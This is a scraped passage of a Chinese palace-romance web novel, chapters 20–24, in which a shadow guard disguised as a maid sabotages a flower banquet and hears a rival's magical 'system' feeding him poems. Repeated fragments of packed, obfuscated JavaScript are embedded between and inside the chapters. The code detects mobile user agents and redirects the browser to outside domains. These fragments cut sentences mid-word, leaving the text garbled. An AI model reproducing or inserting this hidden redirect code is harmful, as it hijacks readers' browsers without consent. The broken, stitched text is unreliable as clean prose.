l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258225|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮,根本想象不出来。 他脑补了一番杨妃穿着女装向他行礼的场面,便觉得一阵恶寒,语气里就带了两分怀疑。 “你扮上来,本王瞧瞧。” 他语气里的怀疑太过明显,杨妃听了挑了挑眉梢,恭敬地应下起身去准备。 他早就说过质疑影卫的专业能力比说一个男人不行还要过分,而他身为王爷手下的头号影卫,绝不能允许自己在王爷心中有能力盲区! 他可是最棒的! 区区一个易容又哪里难了? 王爷且等着吧,他今天就给王爷开开眼! 杨妃对着镜子装扮,每一处都贴合了秋荷的样貌,连钗环的角度都一模一样。 镜中人的相貌已经看不出来一点原来的影子,他仔细瞧了瞧,对自己的手艺很是满意,将那身侍女的衣服换上之后更是宛若她本人在场。 杨妃在原地转了两圈,对着镜子施了一礼适应一下感觉,捏着裙摆甩动了一下。 就他现在这个样子,谁能看出来本是个男人? 王爷既然想象不到这高端技能,今天他势必能狠狠地惊艳一番! 今天见了这一番表演,王爷就再也不许小瞧他! 杨妃斗志昂扬,确定自己万无一失便避着人缓缓走进了王爷的屋,仪态标准声音婉转清脆。 “奴婢秋荷,参见王爷,王爷千岁。” 【果然是本王最器重的影卫,就算是扮成女子,也是其中的佼佼者,没有半点原来之处。】 王爷看着易容之后那娇小的身材惊奇不已,那张小小的脸蛋更是让他啧啧称奇,他对着杨妃招手。 “近前来,让本王好好瞧瞧。” 这难道就是人皮面具? 王爷还只是听说过这种东西,头一回亲眼见到,好奇心压都压不住。 【可得让本王捏一捏,听说这种面具都是人皮做的,触手生温和真脸一样。】 【今日本王摸了这面具,那和摸上他的脸有什么区别?】 【真是老天开了眼了!】 20.第 20 章 !!! 杨妃那颗悔过的心跳得飞快,瞬间就从表现自己能力的状态中脱离出来,他大惊失色,险些没绷住侍女得体的微笑,给自己能力上添个污点。 他家主子可真难伺候,杨妃幽怨地想,王爷这个时候能不能将所有的注意力放在他优秀的伪装上,而不是将关注点歪到奇怪的地方去。 不想着夸他能力卓绝也就罢了,还想摸他的脸?! 哪怕这面具摸上去毫无温度,他也不会让主子摸的。 他最懂他了,主子摸到了什么手感根本不重要,他的想象力自会替他美化成自己想要的,好时时回味。 杨妃心下腹诽,佯装听话地向前两步蹲身行礼,操着秋荷的嗓音缓声道,“主子恕罪。” “面具是今日新制的,还未完全定型,尚有些刺激的浮粉,恐伤了王爷的手。” “待到春花宴上主子瞧见了,才是毫无破绽呢。” 主子你听到了没有? 王爷的手娇嫩,哪里受得了这个刺激! 不要想动手就动手! 自爱也是王爷的美好品德,此话一出,他果然就打消了念头,想抬起的手也老是放在膝上,十分惋惜。 【罢了罢了。】 【左右是个不曾见过的丫鬟片子,本王还不稀罕。】 【既知道了他这本事,日后还能少得了本王享受的时候?】 【还不是本王想怎样就怎样。】 【非得是他用自己那张脸着上钗裙才叫新鲜。】 【今天姑且放他一马。】 谢主隆恩! 今天又是成功引导王爷的一天,杨妃颇有成就感,觉得自己在管理网页行为这方面真是越来越得心应手了。 好的成功令他高兴,耐心也足,看在王爷多次顺从他心意的份上,他也不是不能哄一哄。 也省得王爷憋得慌,来硬的。 于是杨妃便在屋顶同僚的注视之下来了场影卫版的彩衣娱亲,就事取材给他家王爷表演了一番秋荷平日里的一举一动,叫他看着高兴。 “很是有趣。” “本王今天算是见着你的本事了。” “时候不早了,且去吧。” “是。” 杨妃得了命令,瞬间消失在他家王爷视野之中,也没换下一身装扮,带足了补妆的东西,安心等待替代的秋荷的时机。 春花宴当日是个好天气,杨妃伪装成秋荷,已经帮那女娘穿戴整齐,就等着府内的马车好去赴宴。 他全然是一副警惕做任务的心态,疯狂推演着宴会上可能出现的意外。王爷肯定是要出了这口恶气的,只是他不知会怎么做。 这些事应该是他的同僚去干的,杨妃细数着府上没有任务的影卫,不大放心。 皇帝赐下的影卫算上他也才四个,他跟着这女娘,另有两个不在京都,剩下的那个在王爷外出时必要贴身保护的。 办起事来也就剩开府之后他们训练出的小的,他虽然自信带人带的不错,但也担心他们倒霉,干活的时候碰上了自己训练时的同期阴沟里翻船。 他忧心忡忡,这女娘却不知道自己赴的不是好宴,兴奋得很,笑容就没停过,坐在镜前不肯离开,她挑剔着自己的妆容,时不时还要指挥着他添上两笔。 真得亏他是会易容的,不然这些个花样的眉形他还不会画呢! 杨妃画的手酸,报信的小厮却还没来。 大理寺卿府上的下人办事效率可真低,对主子的事不上心,这种提前下了帖子的宴会马车不应该早多少天都准备妥当的吗? 怎么事到临头了还要等! 她家小姐妆容的花样都换了一遍又一遍,杨妃甚至怀疑他们是不是合起伙来考验他的妆容库存! “换柳叶眉会不会更好?” 杨妃听着她的新吩咐,手上的眉黛被捏成了两截,掐着嗓音劝慰,“小姐国色天香,什么眉形都是少有的美人儿。” “只是时候不早了,恐再换装耽搁了时间。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264530|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说的对。”她抬手抚了抚鬓角,微微侧头看向镜中,“我可不能错过和四郎见面的好机会。” ??? 好好好,他就说这女娘咋这么兴奋呢,原来是想着去会情郎。 瞅她这个兴奋劲儿怕不是用不着他暗中筹谋,她自个儿就将感情公之于众了。 “府中的马车怎么还没好!” “这帮狗奴才,打量着我被禁足了多日,干起活来越发懈怠了。” 好在没等这女娘发怒,府中的下人便来通报马车已经备好,杨妃顺势便搀着她快步走了过去。 女娘的期待完全体现在行动上,那步伐快的他都得倒腾着腿才能跟得上。 一路上的马车里他也没能得闲,夸赞容貌的话想停都不能停,直将他说得嗓子都哑了,快到了地方她才安静下来。 这女娘也不比他家主子好伺候多少,真够遭罪的,拟着假声本就伤嗓子,这下回去可得喝药了。 杨妃恭恭敬敬地跟着她验过了名帖,随着接引侍女一路前行。 这园林中的影卫数量可少不了,他放开了感知仔细去听,隐约能感受到入口附近的树上有微弱的呼吸声。 像这样没怎么隐藏自己的多半应该是宫里派过来暗中护卫宴席的,杨妃能感觉到他们的目光落在自己和女娘的身上,半晌之后又移开。 他的易容果然万无一失。 参加宴会的小姐们这会儿已经三两凑对在一起说笑了,大理寺卿家的女娘因着被选做王妃,身边已经围了不少官家小姐道贺套近乎。 杨妃不由得后退半步,园子里的花香加上各式脂粉精露的香气混合在一起扑面而来,呛得他鼻子发痒,备受煎熬。 这女娘也是如此,她还急着去见四皇子,又苦于无法脱身,心情越发烦躁,眼见着自己的贴身侍女不能体察自己的心意将这些人隔开,气的她后退一步狠狠踩在杨妃的脚上,用帕子遮住了自己的嘴口型暗示。 【还不速速想个法子脱身!】 21.第 21 章 啧。 杨妃收到了暗示,知道想要揭穿她和四皇子的见面就必须得让她从这里脱身,但这不妨碍他不爽。 无他,她这一脚踩的是真的很痛啊! 缩骨状态时的骨骼肌肉本就容易损伤,受到了外力挫伤恢复形态时只会更加难受,等回头让府上那几个没良心的小子瞧见了,又得当做黑历史替他记着了。 他动了动生疼的脚趾,余光瞥见了旁边端茶走过来的侍女,心生一计,随手捻过来一片叶子打在那侍女手背上,下一刻托盘上的茶水便被抛飞,噼里啪啦地碎了一地。 茶水摔在地上飞溅,聚作一堆的小姐们也如鸟兽散,一个个拎着自己裙摆细瞧,生怕沾上了茶水今日丢了面子。 她们一个个脸色不好看,为彰显宽容的德行忍下了斥责的心,但也没了之前的谈性各自散去赏花,为接下来的诗会试着押题去了。 突如其来的意外让女娘也是一惊,但她反应也快,趁着这个机会,也佯装心情不快,带着杨妃快步走了。 “你说四殿下现在正在何处?” 眼见着四周没人,她迫不及待地讨论,踮着脚四处张望,试图从花丛中找到他心心念念的身影。 杨妃也不知道四皇子在哪里,但他知道想让四皇子来找她们还是很简单的。 他仗着自己一双好耳朵,用着内力辅助,细听人声引着她走。 “小姐,想来喧嚣处应该就是了。” 他指了指自己听见声响的方向,引着女娘走,一路上没话找话牺牲自己的嗓子转着圈的夸花。 感谢这个秋荷是没读过书的,要是跟王爷之前打发走的侍女一样饱读诗书,拽着诗词谈花,他就没招了。 他虽然是识字的,记忆力也好,但什么诗啊词啊的,那是一窍不通。 现在这样正省得他想别的办法引着女娘开口说话了。 不是他想聊天,可是这女娘的声音就像是钓着四皇子的鱼饵。 她目标明确直奔男宾区,但四皇子在大庭广众之下是不可能和她搭话的,四皇子身边的影卫只要听见了声音见着了她,肯定会禀报。 到时候四皇子一定担心她直接冲进去惹出事端,就会自己寻个机会找过来。 有心之下,假山处细微的布料摩擦声自然入了杨妃的耳,他掐下一朵花装作欣赏的开心,夸起来也真心实意了。 四皇子确实着急,来的比他想象的还要快,簇拥他的人也被甩得一干二净,只带了一个贴身的小厮,见到了女娘的瞬间板着的脸上挤出一个宠溺的笑容。 “鹄儿。” 他温和地唤了一声,手却直接抓住了她的衣袖拽着她的胳膊,不容拒绝地将她扯到一旁的假山后,拉向更隐蔽处,给自己的侍从使了个眼色,将杨妃一并赶到了旁边,不许他们靠近。 杨妃十分顺从地低着头和那侍从站在假山外侧,看着像专心给他们望风的模样,实则注意力全都给到了他们俩身上。 这俩人见了面就像是牛郎织女似的,满嘴的想来想去互诉衷肠,听得杨妃很想翻白眼。 这四皇子可真不是个好东西。 嘴上说着想她想得如何夜不能寐食不下咽,可圣旨下之后那么多天还不是连个信儿都不送过去,只说是自己诸般苦衷,可骗不了他。 区区一个大理寺卿府,难道还能难倒四皇子的影卫吗? 只要他有心,便是想亲自来,影卫们抬也能将他抬过去,见个面而已根本算不上什么难事,更别提送一封信过去,那就更简单了。 结果呢? 这么多天他在大理寺卿府上风吹日晒的,连四皇子相关的影都没见一个! 也就骗骗这个小姑娘了。 谁叫她还就吃这一套呢,杨妃只觉得诧异,这怎么没两句话就和四皇子和好了? 和好了不说,这会儿竟然还可着劲儿的安慰四皇子,好一顿怜爱心疼。 “……” 人皮面具都挡不住杨妃直跳的眉梢,这大理寺卿夫人到底怎么教女儿的,这个傻白甜培养出来也不容易吧? 都快让人家给卖了还在那心疼呢,她难道就没有察觉到四皇子已经不耐烦了吗? 就单单那一句“你怎么来了?”就已经让杨妃觉得不妥,“要是被人看见了,我的名声可怎么办?”更让他无语。 也只有她听了会心生愧疚百般认错吧,反正杨妃觉得自己手痒,很想打点什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266960|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么缓解。 “你送的簪子可真好看,我就知道你还念着我喜欢什么,这鸿雁送来的情分我永远不会忘的,我明白你的心意。” “什么鸿……你喜欢就好。” “四哥哥放心,我必会等着你不会嫁过去的,我已经想好了,到时候我就打晕了我的庶妹送上花轿去,等到生米煮成了熟饭,为着天家颜面也不会闹大的。” “待到婚礼之后父亲尽可当我死了,我就到哥哥府上,和你长相厮守,哪怕没有名分,也甘之如饴。” “哥哥必不会不管我的吧?” “……你不要胡闹,名分对女子来说何等重要,我怎么舍得你受这个苦被天下人耻笑?” “况且……圣旨已下,再无转圜的余地,你我之间只怕缘分尽了。” “但你别怕,我还是爱着你的,就算你嫁给了二哥,也永远是我最爱的女人。” “哪怕以后父皇也给我赐婚,来的无论是谁也都比不上你万中之一。” “你我虽无缘长相厮守,但愿书信不绝。” “我别无所求,只愿你做了王妃也不忘记我,肯时时与我传信,便已经心满意足了。” 好一个不要脸的男的。 比话本子里的渣男还过分。 杨妃感觉自己掌心火热,想拍什么的心越发急切,耳边也传来了女娘压抑的啜泣声。 他早就说四皇子不是个东西,这女娘也是个有眼无珠的,那些话又假又空敷衍至极,她从哪个字里听出来爱意的? 杨妃仔细听着,分明只听到了“你给本王乖乖的嫁过去,有什么消息都传递过来,银子是没有的,家里人升官是没有的,只有书信两封,谁写的还不一定”。 真是听者流泪。 “好了,别哭了。”杨妃听见四皇子抽出帕子给她擦泪,声音温柔却有一丝不易察觉的厌烦,“都是要做王妃的人了,以后也不是不能出府,有的是我们见面的时候。” 杨妃真的沉默了,四皇子这话说得他心头直跳,难道他就没有道德下限吗? 他们俩时常见面要干什么? 可怜的王爷啊…… 难道王爷的衣橱里要多出件冠子了吗? 22.第 22 章 杨妃无话可说,他现在觉得这女娘就是王爷的克星,钦天监的八字怎么合的,他俩明显相克啊! 之前一顿不行的言论就已经让王爷火冒三丈,多年来的养气功夫荡然无存。 现在又来了个和政敌时常见面,也不知道王爷还受不受得住。 四皇子和不觉得他的言论有什么问题,坚持持续向女娘输出。 “好好一副精致的妆容,若是哭花了,宴会上可怎么表现?” “别人家的女儿虽比你有才气,家世样貌也比你出色,但你也没有差太多。” “你今日要是没表现好,二哥心存芥蒂,日后要是在王府过得不好,本王可要心疼了。” “四哥哥请陛下收回成命好不好?鹄儿不想嫁皇子,只想和哥哥永远在一起。” “哎,本王也去求过了,可二哥的母妃你也知道的,有她向父皇撒泼,我人微言轻,也是毫无办法。” “对了,你不是最会吹笛吗?二哥最善音律,必会被你惊艳。” “只要你在二哥府上过得好,本王就心满意足了。” “好了,本王离开的也够久了,空惹闲话,这会儿就回去了。” “待到宴会上,等你技压群芳。” 四皇子的着急掩饰不了一点,说完了这话当即就要抽身离去,女娘眼疾手快地抓住了他的袖子,哀声道,“鹄儿没什么拿得出手的,惟有一幅鸳鸯帕子是亲手绣的,四哥哥莫嫌弃我绣工,将这帕子带着。” “日后若是想我了,见见这帕子也能缓解一二相思之苦。” 听见了关键词,杨妃虎躯一震,也顾不上分析这两个人的感情经历,借着回身扶着女娘的功夫,迅速瞟了一眼四皇子身上,将帕子的位置记得牢牢的。 任务道具这不就有了? 四皇子走得干脆利落,女娘就像是望夫石一样呆站在原地,眼神之哀怨让杨妃见了毛骨悚然。 他站在原地生等了一会儿,见她像是石化了似的,可又马上到了诗会的时辰,不得不打断了她的深情,劝着她回了诗会。 杨妃相中了四皇子身上那块帕子,他决定趁着诗会散场人员走动的时候暗中推倒屏风,再顺势使了暗器将那帕子从四皇子身上打落。 到时候也用不着他做什么,皇子身上的一举一动自有人注视着,有的是人会替他指出那帕子,更不缺认识鸳鸯的人。 之后么…… 他们两个的事情难道还藏得住? 杨妃心里过了一遍计划,搀着女娘加快了脚步。 诗会上众人已经落座,曲水流觞也不是什么稀奇玩意儿,只不过在这园林之中,流水穿过花丛之间倒也有两份心意。 杨妃瞟了一眼那东西就收回了时间,这曲水流觞有的是地方可做手脚,水道蜿蜒处的凸起就颇有意思。 等到真的开始了,放茶的宫女操纵着水流大小,便能灵活控制着停在何处。 屏风分隔了左右,宫里的娘娘在主位坐着,垂纱遮掩了她的身形,身边的女官开始了诗会前的长篇大论。 杨妃没太听她在说什么,目光也穿不过刺绣的屏风,垂着头看着自己隐隐作痛的脚尖,分辨着宴席上的呼吸,确定了四皇子和王爷的位置。 好像他也用不着这样努力分辨呼吸,他家王爷自有办法让他知道他的位置。 【在哪呢在哪呢?】 王爷的心声像是念经一样,嗖的一下就从人群中钻到他耳朵里,精准地将自己的方位暴露给他。 【本王真是越发骄纵他了,头个还说宴会上就能瞧见他呢,今天去连个影都没有。】 【连本王都敢骗了,将本王的好奇心吊起来又置之不理,着实过分。】 “……” 杨妃沉默地像周围的侍女一样站得像个桩子,心里的委屈无奈也就只有他自己知道。 王爷真是越来越会偷换概念了,他纯属是揣着明白装糊涂。 杨妃在心中叹气,耳尖的听到了四皇子叫住了王爷,在众人面前虚与委蛇演一场天家兄弟手足之情,那些想东想西的心声也瞬间停了。 也算是将王爷的所有注意力都吸引了去,再也没有心思想着他了。 嗯…… 这么一看四皇子也不是没有可取之处,换句话说,四皇子也是王爷全心全意对待的人呢。 等等。 快住脑! 杨妃睁大了眼睛,他好像又犯病了,在刚刚那一瞬间他竟然觉得四皇子和王爷也甚是般配,两个人都全心全意地想着对方,也算是双向奔赴了。 他真是受不了自己了,一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278515|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是连日里工作昏了头了,饿得发昏了,现在真是什么都磕的下。 要了老命了。 他想将自己脑子里那些相爱相杀的关键词忘掉,目光直愣愣地落在他需要击倒在屏风上,瞳孔骤然聚焦。 这位娘娘怕是头一次举办这种宴会,不怎么清楚宴会的注意事项,底下的侍从也未上心。 他瞧着那些屏风底下微翻的泥土,就知道他们肯定没有提前找平地面,临到了放屏风的时候才发现地不平放不稳,无可奈何之下只能动了土,匆匆忙忙有没有完全消去痕迹。 不过算了,左右也不干他的事,现在这样子倒更合他心意,等屏风倒了就算查起来,那也是这位娘娘和那些侍从的过错,是他们办事不力使得屏风倾倒毁坏了宴会,和他杨妃有什么关系? 只是可惜了这些个绣了百花春景的屏风,注定是要倒在泥土之中了。 就在他思量之间,这场诗会便在期待中开始了。 一时间诗会上众人各使本事竞相表现,杨妃既欣赏不来音乐,也听不懂那些诗词,只等着什么时候散席,耳边又是乐声又是念诵,听得他头昏脑胀。 宴会上叫好奉承、互较高低的声音不绝,杨妃只听着并不过脑。 这些个世家子弟里果然有真才实学的,但也不急于在这样的宴会上表现,这些声音最高的,常常是那些半吊子。 因此当众人评论之声停歇,诗会里骤然安静下来时,杨妃便回过神,警觉地分辨到底发生了什么。 “尚书大人教子有方,萧公子这诗乃是当前之冠。” “九重羯鼓声动地,万年枝上回春意。天谴姮娥散一枝,一枝先到山人家。焚香再拜睹国色,雨露沾濡知帝力。我愿人间春不老,常对此花颜色好。” “这诗是极好的。” 尚书?萧公子?嗯? 杨妃不懂诗的好坏,但他知道这个尚书家的萧公子是什么货色。 那是个十足十的草包,除了不敢闹出人命来,没有什么事是他不敢干的。 那可是读书一窍不通,活生生将工部尚书气晕过去的人啊,什么时候有这种水平了? 杨妃眼中闪过一丝寒光,觉得他在挑衅自己探查情报的水平。 难不成…… 是之前一直在藏拙? 23.第 23 章 杨妃不觉得是自己收集情报收集的不到位,他也不认为尚书家的独子有什么藏拙的必要,细细想来,还是这位小公子提前准备好了枪手更合理一些。 毕竟这场诗会的主题可不难猜,押起题来简单多了。 或者干脆来的就不是那位萧公子本人,而是什么人易容成了他的样子。 反正他是不可能相信一个草包说变好就变好的。 果不其然,这些人嘴上夸赞着,实际上没有几个信的,他们起哄的起哄撺掇的撺掇,将这位小公子推得高高的,势必要让他原形毕露。 宴会上的人没有傻子,他们变换着花样,开始指定诗词必须含限定词。 比如,诗词中须得包含方位限定词的。 还是这些人玩的花啊,又得带着颂花,还得带着方位,杨妃不信那枪手就这么好巧不巧的中了,但他却不见萧公子呼吸急促。 【系统,检索一首描述花朵的诗,要春天的花,并带有方位限定词。】 【好的,正在为您检索中,以下这首诗可能符合您的要求:东风袅袅泛崇光,香雾空蒙月转廊。只恐夜深花睡去,故烧高烛照红妆。】 【好,退下吧。】 啊? 杨妃呆站在原地,声音以他极其熟悉的方式传进他的脑子里,可却不是他家王爷的声音,而是那位萧公子。 他真的沉默了。 这个世界超出他理解能力上限太多。 他麻木地听着脑子里的声音被那位公子念出来,那些被他压在记忆深处的话本子被迅速翻出来,系统两个字填满了他的脑子。 好好好。 继王爷真的想和影卫发生些不可描述的事,以及心声真的能传递之后,他又遇到了小说中虚构的那种系统神器。 好吧,他能接受。 但为什么全都让他一个人知道? 杨妃现在也不用装成木桩了,他整个人是真的呆滞,耳边王爷抱怨着没见到他的心声合着公子与系统但频繁交流声揉杂在一起,听得他头晕脑胀。 他的脑子是什么随便的地方吗? 什么声音都能往里钻? 好好的一个赏花宴,一个男女各展才情的地方,生生变成了萧公子的个人独秀,所有人的刁难他照单全收,系统拥有的诗词量远超杨妃想象。 这家伙接二连三的作诗,唯一停顿的时候也就是饮酒时。 因为那会儿正是系统搜索的时间。 杨妃叹了口气,可除了他以外的每个人都兴奋极了。 他们认为自己见证了历史,见证了一位文坛新星的冉冉升起,见证了诗神降世。 女娘专心致志地听着,脸颊红扑扑的,她忍不住抓住杨妃的衣袖,勾着他附耳过来。 “我看这家伙是个可用的,你说我要是让他投靠了四皇子,他会不会很开心?” “……” “四皇子定是欢喜极了,还是小姐贴心。” 杨妃低声回应,他这会儿脑子还乱着,心知肚明这女娘说的话离谱也没多少劝慰的心,他又不是秋荷本人,没有必要给她出谋划策,只需要学着秋荷往日的样子捧着她就是了。 反正在她心里她家小姐天下第一好。 女娘自觉得到了肯定,开始小声和他探讨怎么拉拢人,还越说越激动了。 “我也是头一回做这样的事,若是戏文里说的,那便是得用钱财了……” “或是美人?” “他家应该是不缺钱,美人又去哪里找?” “我那妹妹倒有两分姿色,若不是我打定了主意让她替嫁,倒是个好人选。” 她说的越来越离谱,杨妃终于打断了她,生怕她说些什么被暗处的影卫听了去。 “小姐若是有心,不如和四殿下商议,书信往来也缓解相思之苦。” “你有心了。” 女娘听着这话心动不已,又不知道联想了什么脸颊红的像滴血,她端起茶杯抿了一口,才又变回了平常端庄的样子。 杨妃也松了口气,总算能清静一会儿了。 他这耳朵承受的能力也有上限,兼顾着王爷和那对系统,又得听着这女娘的话,实在让他有点心烦。 诗会上气氛火热,忽然有人指着屏风惊呼,众人随着视线望去,只见数不清的蝴蝶接踵而至纷纷落到屏风上绣着的花上,簇拥着堆叠在一起,像是被嗅出来的花香吸引到了一般。 这场景属实离奇,很快就有聪明人夸起了绣娘的绣工,也没少了知情人士透露这绣娘是什么人物。 杨妃听着那和宫里娘娘沾亲带故的名字,一点儿也不意外。 他猜测应该是一些丝线沾蜜的小把戏,为了博一个绣工卓绝的好名头。 他分明听着自己身边的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16285433|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘冷嗤了一声,借着帕子的遮掩还翻了个白眼。 宴会上猜出其中玄机的应该不在少数,只是他们都顾念着宫里娘娘的脸面,附和着称赞几句,没有人揭穿罢了。 但架不住真有那个傻子。 那位出尽风头的萧公子睁着醉意朦胧的眼睛,看着眼前这一幅奇景,小声喃呢。 “卧槽,都说顶级刺绣栩栩如生,今天也算开了眼了,这刺绣的花朵竟然也能将蝴蝶引来。” “这样的好东西怎么就失传了?” 【系统,请检索吸引蝴蝶的刺绣制作方法。】 【好的,正在为您搜索。】 【很抱歉未检索到相关内容,这里有多种刺绣方法,如果您需要提供请继续与我交流。】 【滚吧。】 【还得老子自己研究。】 那萧公子这会儿已经喝的烂醉,浑然不顾场合,晃悠悠地站起来,在所有人的目光中一步三摇地靠近屏风。 杨妃听着他那一脚深一脚浅的脚步声,脑子里却想着他说出口的话,那用词奇奇怪怪的。 卧槽是何意? 这位萧公子还真的是本人吗? 杨妃现在也不怀疑他是不是易容是不是枪手了,他大胆猜测,这一位说不定是什么夺舍来的妖怪抢占了肉身,这才说话举止有一种莫名的违和感。 而那个系统应该就是这妖怪的神器。 这妖怪虽然看上去有些呆傻,但他那个神器却有两分神异。 也不知道这神器能不能抢过来,若是能够易主让这神器为王爷所用,不比将这妖怪拉拢过来好用的多? 那系统还看上去是个呆板没思想的…… 杨妃狠狠地心动了,他应该再仔细看一下脑子里那些话本子叙述的关于系统这种神器的详细内容,说不定里面就写了掠夺的手法。 啧。 他这会儿有点后悔,要不是他嫌弃画本子上那些口来口去的内容看时走马观花,这会儿说不定已经能列出计划来了。 这些话本子倒还真有点儿用处。 杨妃沉沉的目光仿佛要穿过屏风看见那个妖怪,他晃悠悠的影子正打在屏风上,人也离这屏风越来越近。 神器的事可以以后再论,这妖怪肉身在这里人也逃不了,现下还不如让他先帮自己一个小忙。 他还有一个计划没能施行呢。 24.第 24 章 那妖怪看着层层叠叠的蝴蝶,挥手便想将它们驱赶走好仔细看看刺绣,杨妃便趁着他身形前倾的时候踢了一枚石子过去。 那石子正中屏风下端的支架,整个屏风轰然倒地。 砰的一声将所有人都吓了一跳,诗会上顿时就安静了下来,所有人都看向了站在屏风面前抬着手僵在原地脸色潮红的萧公子。 “不是?和我没关系啊!”他的酒当场就醒了一半,连连后退几步朝着众人疯狂摆手,“是这屏风碰瓷啊!我冤枉啊。” 他为自己辩解,又见在场众人没人搭腔,只得又解释了一番自己压根儿没有碰到屏风。 “窦娥冤啊!六月飞雪啊!” 【系统,请检索当前情况如何为自己辩驳。】 【好的,检索结果如下。】 【这边建议您根据屏风倒塌所用的时间以及倒塌时的方向,代入物理学公式计算出受力大小,用科学的手段直观且清晰明了地阐明屏风倒塌的原因,建议采用以下话术……】 【滚啊,你个人机!】 萧公子和杨妃一样被这段话折磨得眼冒金星,他指不上别人只能尽力为自己争辩。 可不管他如何说,众人只用奇怪的眼神看向他,杨妃瞧见了自家王爷甚至借着举杯的动作遮掩住了视野。 看来妖怪也不像传闻中说的那样神通广大么…… 区区几杯酒就将他灌得尽说胡话了。 “还不速速将萧公子带下去醒醒酒?”娘娘身旁的女官实在看不下去这狂徒毁了宴会,连忙出声申斥了一句,命令侍从将他带下去更衣。 “果真是个纨绔。” 女娘也瞧不惯他这有些疯癫的行径,嫌弃的别过眼帘,杨妃也就顺势挪动了一下自己的位置站在她的桌案前替她做了个人形屏风。 然后顺手在那萧公子一边试图挣脱侍从的手一边抗议时将他路过的其他屏风也一并打倒了。 感谢布置宴会的人当差不用心,他推倒屏风甚至用不上内力,可真是省心。 那屏风接二连三地倒地,屏风上的蝴蝶受了惊四散飞开,让众人好生驱赶。 宴会越发骚乱起来,男宾客们互相对视了一眼,嘲笑之中还带了两分鄙夷。 他们最是好面子的,这种耍酒疯的事在他们看来丢脸极了,但只要丢脸的不是她们,还是能欣赏一会儿的。 杨妃可没空管他们之间的眉眼官司,他一直用余光看着四皇子的方向,就等着那妖怪什么时候路过哪里。 正好让他帮人帮到底,左右今天也是丢脸了,便是喝多了扑到四皇子身上一不小心将他衣服扯破,又一不小心拽出了一方帕子也没什么的吧? 【他在看我!他在看我!】 【本王就知道他心里有我!】 【嘿嘿嘿。】 “……” 王爷的心声就像炸雷一样突兀地响在杨妃耳边,让他有一瞬间没能憋住表情蹙起眉。 他真是不知道怎么评价王爷的眼神了,说他好吧,他又没发现实际上他看的是四皇子,说他不好吧,他又能在人群中把他找出来。 杨妃不为所动地预测着妖怪的行进路线,小石子在他手中蓄势待发,只待一个契机便能帮助那妖怪和四皇子牵手成功。 他现在有点急。 王爷的目光越发灼热,上下扫视着让他有一种被扒光了的感觉。 宴会上这么多人,皇子们又是众人注意的焦点,万一有人发现了王爷的眼神…… “父皇的赐婚还真是好极了,正正点在二哥的心尖儿上了。” “弟弟可瞧着二哥朝那里看了许久了。” 怎么怕什么发生什么! 杨妃心中警铃大作,假面下也当即流了冷汗,他真的不能再等下去了,怎么能让四皇子揭穿了他和王爷之间的窗户纸? 还不如直接杀了他! 就是你了,就是现在,上吧妖怪! 杨妃将这辈子的果决都压在这一刻,手中的石子更是打出了火弹的力道,以一种不管萧公子死活的姿态重重打在他后腰上,让他整个人一个踉跄连滚带爬地一头栽在了四皇子的腿上,双手为保平衡抓住了他腰上的玉带。 说时迟那时快,刺啦一声,裂帛的声音让整个宴会陷入了死寂,众人瞠目结舌,瞧见那衣下雪白的一片,又默默转过了目光。 这这这…… 好吧,杨妃承认他是有让四皇子出丑的心在里面,但他也没想到这妖怪的爪子如此锋利,显得他割破四皇子衣袖的石子都软弱无力了。 但…… 这样的丑事还有谁敢盯着四皇子看啊?! 他的帕子—— 杨妃心下懊恼极了,他刚才还想着上有娘娘承担宴会操办不力,下有妖怪背着扰乱宴会之罪,一切如有神助呢。 怎么转头就用力过猛了? 他计划最后最关键的一环怎么就流产了? “啊——” 四皇子如此露肉的一面实在挑战了闺阁女子的下限,女宾席上的尖叫声划破了宴会的寂静,杨妃的耳朵也差点被女娘喊破。 